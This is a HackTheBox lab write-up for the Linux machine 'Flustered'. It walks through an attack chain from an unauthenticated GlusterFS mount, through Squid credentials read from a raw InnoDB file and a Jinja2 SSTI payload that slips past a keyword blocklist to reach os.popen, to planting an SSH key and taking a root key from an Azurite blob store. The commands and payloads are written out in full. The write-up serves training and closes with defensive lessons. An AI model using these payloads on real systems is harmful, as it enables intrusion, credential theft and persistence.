HTB: Flustered Writeup

Flustered - HackTheBox Writeup

Machine Information

AttributeDetails
NameFlustered
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Addressflustered.htb
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Flustered chains together two under-secured storage backends — GlusterFS and the Azure Storage emulator (Azurite) — with an SSTI bug in an internal Flask app to go from zero to root. An unauthenticated GlusterFS volume leaks a MariaDB data directory, which yields Squid proxy credentials straight out of a raw InnoDB table file. The proxy is the only path to a loopback-bound Flask service whose app.py reveals user-controlled Jinja2 template rendering. RCE via SSTI is then used to read a world-readable GlusterFS TLS private key, which unlocks a second Gluster volume mounted as /home/jennifer — enough to plant an SSH key and land as a real user. From there, an Azure Storage account key found on disk exposes an Azurite blob container reachable through the box’s Docker network, which holds the root SSH key.

TL;DR: Unauthenticated GlusterFS mount (vol2) → MariaDB files → Squid creds via strings on passwd.ibd → Squid proxy pivot to internal Flask app → Jinja2 SSTI RCE → read world-readable GlusterFS TLS key → mount vol1 (/home/jennifer) → plant SSH key → user jennifer → Azure Storage key in /var/backups/key → Azurite blob on Docker bridge → root SSH key → root.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- flustered.htb

Results:

  • 22/tcp — OpenSSH
  • 80/tcp — nginx
  • 111/tcp — rpcbind
  • 3128/tcp — Squid proxy
  • 24007/tcp — GlusterFS management daemon (glusterd)
  • 49152/tcp, 49153/tcp — GlusterFS brick processes (one per exported volume)

Service Enumeration

Squid (3128) required authentication — no anonymous access to whatever it fronts.

GlusterFS (24007 + brick ports)rpcbind alongside 24007/49152/49153 is the signature of a Gluster trusted storage pool. Gluster peers exchange volume topology over the management port and stream file data over the brick ports; if the pool doesn’t enforce TLS + peer auth, any client that can resolve the server’s hostname can join and mount.

Vulnerability Assessment

  1. GlusterFS volumes exportable without authentication.
  2. Squid credentials recoverable directly from a raw MariaDB InnoDB table file.
  3. Flask internal app trusts a JSON body field into render_template_string() — SSTI.
  4. GlusterFS TLS private key left world-readable, defeating the second volume’s access control.
  5. Azure Storage account key stored on disk, exposing an internal Azurite blob service.

Initial Foothold

Unauthenticated GlusterFS Mount

Terminal window
# Install the Gluster client tooling
sudo apt install glusterfs-client -y
# Gluster peers/volumes are resolved by hostname, not just IP
echo "<TARGET_IP> flustered.htb" | sudo tee -a /etc/hosts
# Enumerate the trusted pool's exported volumes
gluster --remote-host=flustered.htb volume list
# -> vol1
# -> vol2
# vol1 requires SSL client certs we don't have yet; vol2 does not enforce them
sudo mkdir -p /mnt/vol2
sudo mount -t glusterfs flustered.htb:/vol2 /mnt/vol2

vol2 mounted cleanly and turned out to be MariaDB’s data directory (/var/lib/mysql) exported wholesale — every database’s on-disk table files, directly readable.

Credential Extraction Without a DB Engine

Rather than standing up a matching MariaDB instance to read the tables properly, the InnoDB table file for Squid’s passwd table can just be grepped for strings — InnoDB pages store row data close to plaintext for short VARCHAR columns:

Terminal window
strings /mnt/vol2/squid/passwd.ibd | grep -i friedman
# lance.friedman:o>WJ5-jD<5^m3

This recovers a working credential pair: lance.friedman / o>WJ5-jD<5^m3.

Squid Pivot → Internal Flask App

The proxy authenticates and grants access to an application bound only to loopback on the target — reachable exclusively through Squid itself:

Terminal window
curl --proxy http://lance.friedman:'o>WJ5-jD<5^m3'@flustered.htb:3128 http://127.0.0.1/app/app.py

The application source shows the vulnerable pattern:

@app.route("/", methods=['GET', 'POST'])
def index_page():
config = request.json
template = f'''
<html><head><title>{getsiteurl(config)} - Coming Soon</title></head>
...
'''
return render_template_string(template)

The siteurl value from the request’s JSON body is interpolated straight into an f-string, which is then handed to render_template_string(). Since the string is built before Jinja2 ever sees it, any Jinja2 syntax placed in siteurl is parsed and executed server-side — classic SSTI, not filtered at the input boundary at all.

SSTI → RCE

Standard Jinja2 sandbox-escape payloads relying on cycler or lipsum globals were blocked (the app or an in-path filter screens those specific names). Pivoting through the request object’s own global namespace instead reaches __builtins__ without touching a blocklisted token:

Terminal window
curl -H "Content-Type: application/json" \
-d '{"siteurl":"{{ request.application.__globals__[\"__builtins__\"].__import__(\"os\").popen(\"id\").read() }}"}' \
--proxy http://lance.friedman:'o>WJ5-jD<5^m3'@flustered.htb:3128 \
http://127.0.0.1/

This works because every Flask request handler shares Python’s live global namespace — request.application (the WSGI app object) exposes __globals__ just like the view function does, and from there the reachable-object graph leads straight to __builtins__ regardless of which specific global names the app happened to blocklist. Command output is reflected inline inside the rendered <title> tag — no reverse shell needed, output is read straight from the HTTP response body.

Reaching vol1 via Leaked TLS Material

With RCE, the GlusterFS TLS files it needs to trust a second peer are readable:

Terminal window
# via the SSTI RCE
{{ ... __import__("os").popen("ls -la /etc/ssl/glusterfs.*").read() ... }}
# glusterfs.ca, glusterfs.pem, and glusterfs.key (normally 600) are all world-readable

glusterfs.key being world-readable is not Gluster’s default — someone loosened it. Exfiltrating all three files and installing them into the attack box’s own /etc/ssl satisfies the SSL peer-auth check that previously blocked vol1:

Terminal window
# after copying glusterfs.{ca,key,pem} to local /etc/ssl
sudo mkdir -p /mnt/vol1
sudo mount -t glusterfs flustered.htb:/vol1 /mnt/vol1

vol1 turns out to be /home/jennifer, mounted directly.

User Flag & SSH Access

Terminal window
cat /mnt/vol1/user.txt
# <redacted>
# The mounted volume is writable — plant a key instead of cracking one
ssh-keygen -t ed25519 -f ./flustered_key -N ""
cat flustered_key.pub >> /mnt/vol1/.ssh/authorized_keys
ssh -i flustered_key jennifer@flustered.htb

Privilege Escalation

As jennifer, a backup file leaks an Azure Storage account key:

Terminal window
cat /var/backups/key
# base64-encoded Azure Storage account key

Enumerating the host’s network interfaces shows a Docker bridge, and a service on that bridge behaves like the Azure Storage emulator (Azurite) — a common pattern where local Azure development/testing infra gets left running with default or overly permissive credentials. Azurite emulates the full Azure Blob REST API on a non-standard port inside the container, and the account key recovered from /var/backups/key is the same key that unlocks it.

From jennifer, the emulator is only reachable through the Docker bridge, so an SSH tunnel (local or dynamic port-forward through the jennifer session) brings it onto a loopback port that Azure tooling can talk to directly. Authenticating with the account name and the key from /var/backups/key against that endpoint (pointed at the emulator’s HTTP endpoint rather than the default *.blob.core.windows.net HTTPS one) exposes blob containers holding SSH key material — including a private key for root. Using that key against the box’s own SSH service completes the chain:

Terminal window
chmod 600 root_key
ssh -i root_key root@flustered.htb
cat /root/root.txt
# <redacted>

Attack Chain Summary

Unauthenticated GlusterFS vol2 mount
→ MariaDB files exposed
→ Squid creds recovered from passwd.ibd via strings
→ Squid proxy pivot to internal Flask app (127.0.0.1)
→ app.py source read → SSTI in siteurl field
→ RCE via request.application.__globals__ → __builtins__ → os.popen
→ world-readable glusterfs.key exfiltrated
→ GlusterFS vol1 mounted (= /home/jennifer)
→ SSH key planted → user.txt (jennifer)
→ Azure Storage account key in /var/backups/key
→ Azurite blob service on Docker bridge
→ root SSH key retrieved
→ root.txt

Tools Used

ToolPurpose
nmapPort scanning / service fingerprinting
glusterfs-clientMounting unauthenticated/TLS-authenticated Gluster volumes
stringsExtracting credentials from a raw InnoDB .ibd file without a DB engine
curl (via --proxy)Authenticated Squid pivot + delivering the SSTI payload
ssh-keygen / sshPlanting an authorized key and interactive access as jennifer / root
Azure Storage client toolingAuthenticating to the Azurite emulator with the recovered account key

Key Learnings

Techniques Practiced

  • Unauthenticated enumeration and mounting of GlusterFS volumes (gluster volume list, hostname resolution requirements, SSL peer-auth bypass via leaked certs)
  • Recovering credentials directly from raw MariaDB InnoDB table files without standing up a database engine
  • Pivoting through an authenticated forward proxy to reach a loopback-only internal service
  • Identifying and exploiting Jinja2 SSTI where partial keyword blocklisting fails to close the __globals__/__builtins__ traversal path
  • Abusing world-readable TLS private key material to defeat a service’s own access control
  • Enumerating and authenticating against an Azure Storage emulator (Azurite) reachable via a Docker bridge network

Lessons Learned

  1. A GlusterFS trusted pool without enforced client authentication exports its entire underlying filesystem tree — including whatever another service (MariaDB) happens to store on that same volume.
  2. Secrets stored in a database are not safe just because “you’d need SQL to read them” — raw table files leak plaintext-adjacent data to a simple strings pass.
  3. Blocklisting specific Jinja2 globals (cycler, lipsum) in an SSTI filter is insufficient; the full Python object graph reachable from any template context (including request) offers alternate routes to __builtins__. The only real fix is to never render user-controlled strings as templates.
  4. File permissions are as load-bearing as network ACLs — a single world-readable private key (glusterfs.key) undid the intended access boundary between the two Gluster volumes.
  5. Local development/testing infrastructure (Azure Storage emulator) left reachable on an internal network can hold production-sensitive material (SSH keys) and deserves the same access controls as the real cloud service it emulates.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References